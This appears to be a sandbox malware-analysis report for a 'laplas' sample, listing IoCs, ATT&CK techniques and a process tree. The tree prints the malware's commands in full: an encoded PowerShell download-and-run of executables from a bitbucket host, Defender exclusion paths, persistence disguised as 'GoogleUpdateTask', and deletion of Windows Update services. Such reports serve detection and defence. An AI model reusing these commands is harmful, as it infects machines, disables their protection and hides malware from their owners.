laplas | 00310dcf38e02d26825864a4e969ba7be64ffe87c840f9708265d5e51c00bd20

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	FaixLauncher.exe

Executes dropped EXE 4 IoCs

pid	Process
3384	SysHost.exe
1660	LMSCheck.exe
672	LicCheck.exe
4660	svcupdater.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updatert.exe	LicCheck.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1116	sc.exe
1936	sc.exe
1620	sc.exe
1028	sc.exe
3708	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
956	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4976	powershell.exe
4976	powershell.exe
1396	powershell.exe
1396	powershell.exe
672	LicCheck.exe
672	LicCheck.exe
4160	powershell.exe
4160	powershell.exe
672	LicCheck.exe
672	LicCheck.exe
672	LicCheck.exe
672	LicCheck.exe
672	LicCheck.exe
672	LicCheck.exe
3140	powershell.exe
3140	powershell.exe
1576	chrome.exe
1576	chrome.exe
732	chrome.exe
732	chrome.exe
5612	chrome.exe
5612	chrome.exe
5860	chrome.exe
5860	chrome.exe
6580	chrome.exe
6580	chrome.exe
6864	chrome.exe
6864	chrome.exe
6768	chrome.exe
6768	chrome.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
7588	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3392	FaixLauncher.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	3384	SysHost.exe
Token: SeDebugPrivilege	4660	svcupdater.exe
Token: SeDebugPrivilege	4160	powershell.exe
Token: SeDebugPrivilege	3140	powershell.exe
Token: SeShutdownPrivilege	4692	powercfg.exe
Token: SeCreatePagefilePrivilege	4692	powercfg.exe
Token: SeShutdownPrivilege	2192	powercfg.exe
Token: SeCreatePagefilePrivilege	2192	powercfg.exe
Token: SeShutdownPrivilege	388	powercfg.exe
Token: SeCreatePagefilePrivilege	388	powercfg.exe
Token: SeShutdownPrivilege	4140	powercfg.exe
Token: SeCreatePagefilePrivilege	4140	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3140	powershell.exe
Token: SeSecurityPrivilege	3140	powershell.exe
Token: SeTakeOwnershipPrivilege	3140	powershell.exe
Token: SeLoadDriverPrivilege	3140	powershell.exe
Token: SeSystemProfilePrivilege	3140	powershell.exe
Token: SeSystemtimePrivilege	3140	powershell.exe
Token: SeProfSingleProcessPrivilege	3140	powershell.exe
Token: SeIncBasePriorityPrivilege	3140	powershell.exe
Token: SeCreatePagefilePrivilege	3140	powershell.exe
Token: SeBackupPrivilege	3140	powershell.exe
Token: SeRestorePrivilege	3140	powershell.exe
Token: SeShutdownPrivilege	3140	powershell.exe
Token: SeDebugPrivilege	3140	powershell.exe
Token: SeSystemEnvironmentPrivilege	3140	powershell.exe
Token: SeRemoteShutdownPrivilege	3140	powershell.exe
Token: SeUndockPrivilege	3140	powershell.exe
Token: SeManageVolumePrivilege	3140	powershell.exe
Token: 33	3140	powershell.exe
Token: 34	3140	powershell.exe
Token: 35	3140	powershell.exe
Token: 36	3140	powershell.exe
Token: SeIncreaseQuotaPrivilege	3140	powershell.exe
Token: SeSecurityPrivilege	3140	powershell.exe
Token: SeTakeOwnershipPrivilege	3140	powershell.exe
Token: SeLoadDriverPrivilege	3140	powershell.exe
Token: SeSystemProfilePrivilege	3140	powershell.exe
Token: SeSystemtimePrivilege	3140	powershell.exe
Token: SeProfSingleProcessPrivilege	3140	powershell.exe
Token: SeIncBasePriorityPrivilege	3140	powershell.exe
Token: SeCreatePagefilePrivilege	3140	powershell.exe
Token: SeBackupPrivilege	3140	powershell.exe
Token: SeRestorePrivilege	3140	powershell.exe
Token: SeShutdownPrivilege	3140	powershell.exe
Token: SeDebugPrivilege	3140	powershell.exe
Token: SeSystemEnvironmentPrivilege	3140	powershell.exe
Token: SeRemoteShutdownPrivilege	3140	powershell.exe
Token: SeUndockPrivilege	3140	powershell.exe
Token: SeManageVolumePrivilege	3140	powershell.exe
Token: 33	3140	powershell.exe
Token: 34	3140	powershell.exe
Token: 35	3140	powershell.exe
Token: 36	3140	powershell.exe
Token: SeIncreaseQuotaPrivilege	3140	powershell.exe
Token: SeSecurityPrivilege	3140	powershell.exe
Token: SeTakeOwnershipPrivilege	3140	powershell.exe
Token: SeLoadDriverPrivilege	3140	powershell.exe
Token: SeSystemProfilePrivilege	3140	powershell.exe
Token: SeSystemtimePrivilege	3140	powershell.exe
Token: SeProfSingleProcessPrivilege	3140	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
732	chrome.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe
7588	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3392 wrote to memory of 4976	3392	FaixLauncher.exe	80
PID 3392 wrote to memory of 4976	3392	FaixLauncher.exe	80
PID 4976 wrote to memory of 1396	4976	powershell.exe	82
PID 4976 wrote to memory of 1396	4976	powershell.exe	82
PID 4976 wrote to memory of 3384	4976	powershell.exe	86
PID 4976 wrote to memory of 3384	4976	powershell.exe	86
PID 3384 wrote to memory of 4328	3384	SysHost.exe	90
PID 3384 wrote to memory of 4328	3384	SysHost.exe	90
PID 4328 wrote to memory of 956	4328	cmd.exe	88
PID 4328 wrote to memory of 956	4328	cmd.exe	88
PID 4976 wrote to memory of 1660	4976	powershell.exe	89
PID 4976 wrote to memory of 1660	4976	powershell.exe	89
PID 4976 wrote to memory of 672	4976	powershell.exe	91
PID 4976 wrote to memory of 672	4976	powershell.exe	91
PID 2548 wrote to memory of 1116	2548	cmd.exe	103
PID 2548 wrote to memory of 1116	2548	cmd.exe	103
PID 5116 wrote to memory of 4692	5116	cmd.exe	104
PID 5116 wrote to memory of 4692	5116	cmd.exe	104
PID 2548 wrote to memory of 1936	2548	cmd.exe	105
PID 2548 wrote to memory of 1936	2548	cmd.exe	105
PID 5116 wrote to memory of 2192	5116	cmd.exe	106
PID 5116 wrote to memory of 2192	5116	cmd.exe	106
PID 2548 wrote to memory of 1620	2548	cmd.exe	107
PID 2548 wrote to memory of 1620	2548	cmd.exe	107
PID 5116 wrote to memory of 388	5116	cmd.exe	109
PID 5116 wrote to memory of 388	5116	cmd.exe	109
PID 2548 wrote to memory of 1028	2548	cmd.exe	110
PID 2548 wrote to memory of 1028	2548	cmd.exe	110
PID 5116 wrote to memory of 4140	5116	cmd.exe	111
PID 5116 wrote to memory of 4140	5116	cmd.exe	111
PID 2548 wrote to memory of 3708	2548	cmd.exe	113
PID 2548 wrote to memory of 3708	2548	cmd.exe	113
PID 2548 wrote to memory of 532	2548	cmd.exe	114
PID 2548 wrote to memory of 532	2548	cmd.exe	114
PID 2548 wrote to memory of 3640	2548	cmd.exe	115
PID 2548 wrote to memory of 3640	2548	cmd.exe	115
PID 2548 wrote to memory of 3172	2548	cmd.exe	116
PID 2548 wrote to memory of 3172	2548	cmd.exe	116
PID 2548 wrote to memory of 1444	2548	cmd.exe	117
PID 2548 wrote to memory of 1444	2548	cmd.exe	117
PID 2548 wrote to memory of 4620	2548	cmd.exe	118
PID 2548 wrote to memory of 4620	2548	cmd.exe	118
PID 732 wrote to memory of 3988	732	chrome.exe	123
PID 732 wrote to memory of 3988	732	chrome.exe	123
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125
PID 732 wrote to memory of 2044	732	chrome.exe	125

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2416
- C:\Users\Admin\AppData\Local\Temp\FaixLauncher.exe
  "C:\Users\Admin\AppData\Local\Temp\FaixLauncher.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAdgBjACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGQAcwBsACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcATgBvACAAVgBNAC8AVgBQAFMAIABhAGwAbABvAHcAZQBkACEAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHkAdwBrACMAPgA7ACIAOwA8ACMAegB3AHcAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwByAGgAcQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBkAGIAcwAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBrAGQAaQAjAD4AOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvAGUAYQBzAHkAZgBmAGYAZgBmAGYALwBhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZAAvAHIAYQB3AC8AOQA2AGUAYQBjADAAMgBhAGMAYwA0AGIAZAA4ADMAOQAwADcAMgBjAGUAZABkADUAMAA4AGQANgAzADAAYwA2AGUAMgAzAGUAOQBkADMANAAvAGIAcgB2ADIALgBlAHgAZQAnACwAIAA8ACMAbABkAGUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBsAGIAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB1AHAAbgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBIAG8AcwB0AC4AZQB4AGUAJwApACkAPAAjAHEAaAB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAaQB0AGIAdQBjAGsAZQB0AC4AbwByAGcALwBlAGEAcwB5AGYAZgBmAGYAZgBmAC8AYQBzAGQAYQBzAGQAYQBzAGQAYQBzAGQAYQBzAGQAYQBzAGQAYQBzAGQAYQBzAGQAYQBzAGQAYQBzAGQAYQBzAGQAYQBzAGQAYQBzAGQALwByAGEAdwAvADkANgBlAGEAYwAwADIAYQBjAGMANABiAGQAOAAzADkAMAA3ADIAYwBlAGQAZAA1ADAAOABkADYAMwAwAGMANgBlADIAMwBlADkAZAAzADQALwBsAG0ALgBlAHgAZQAnACwAIAA8ACMAcQBjAG4AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGsAaQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwByAGIAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAE0AUwBDAGgAZQBjAGsALgBlAHgAZQAnACkAKQA8ACMAdQBmAHIAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvAGUAYQBzAHkAZgBmAGYAZgBmAGYALwBhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZABhAHMAZAAvAHIAYQB3AC8AOQA2AGUAYQBjADAAMgBhAGMAYwA0AGIAZAA4ADMAOQAwADcAMgBjAGUAZABkADUAMAA4AGQANgAzADAAYwA2AGUAMgAzAGUAOQBkADMANAAvAGwAZQBtAG8AbgAuAGUAeABlACcALAAgADwAIwBpAG0AawAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHoAdAB4ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG0AdABmACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAEMAaABlAGMAawAuAGUAeABlACcAKQApADwAIwBtAHgAegAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBzAG0AdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAegBiAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMASABvAHMAdAAuAGUAeABlACcAKQA8ACMAYgB1AGEAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYQBhAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGMAcQBmACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwATQBTAEMAaABlAGMAawAuAGUAeABlACcAKQA8ACMAZgB4AGkAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdwB3AGEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHIAbABxACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAEMAaABlAGMAawAuAGUAeABlACcAKQA8ACMAeQBkAG0AIwA+AA=="
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4976
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#dsl#>[System.Windows.Forms.MessageBox]::Show('No VM/VPS allowed!','','OK','Error')<#ywk#>;
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1396
  - - C:\Users\Admin\AppData\Roaming\SysHost.exe
      "C:\Users\Admin\AppData\Roaming\SysHost.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3384
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /C schtasks /create /tn \XgKocxNybk /tr "C:\Users\Admin\AppData\Roaming\XgKocxNybk\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4328
  - - C:\Users\Admin\AppData\Roaming\LMSCheck.exe
      "C:\Users\Admin\AppData\Roaming\LMSCheck.exe"
      4⤵
      Executes dropped EXE
      PID:1660
  - - C:\Users\Admin\AppData\Local\Temp\LicCheck.exe
      "C:\Users\Admin\AppData\Local\Temp\LicCheck.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops file in Drivers directory
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious behavior: EnumeratesProcesses
      PID:672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4160
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5116
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4692
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2192
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:388
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ssfng#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTask' /tr '''C:\Program Files\Google\Chrome\updatert.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updatert.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTask' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTask" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updatert.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3140
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2548
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1116
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1936
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1620
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1028
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3708
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:532
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3640
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:3172
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1444
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4620
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:732
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7fffc7644f50,0x7fffc7644f60,0x7fffc7644f70
    3⤵
    PID:3988
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1660 /prefetch:2
    3⤵
    PID:2044
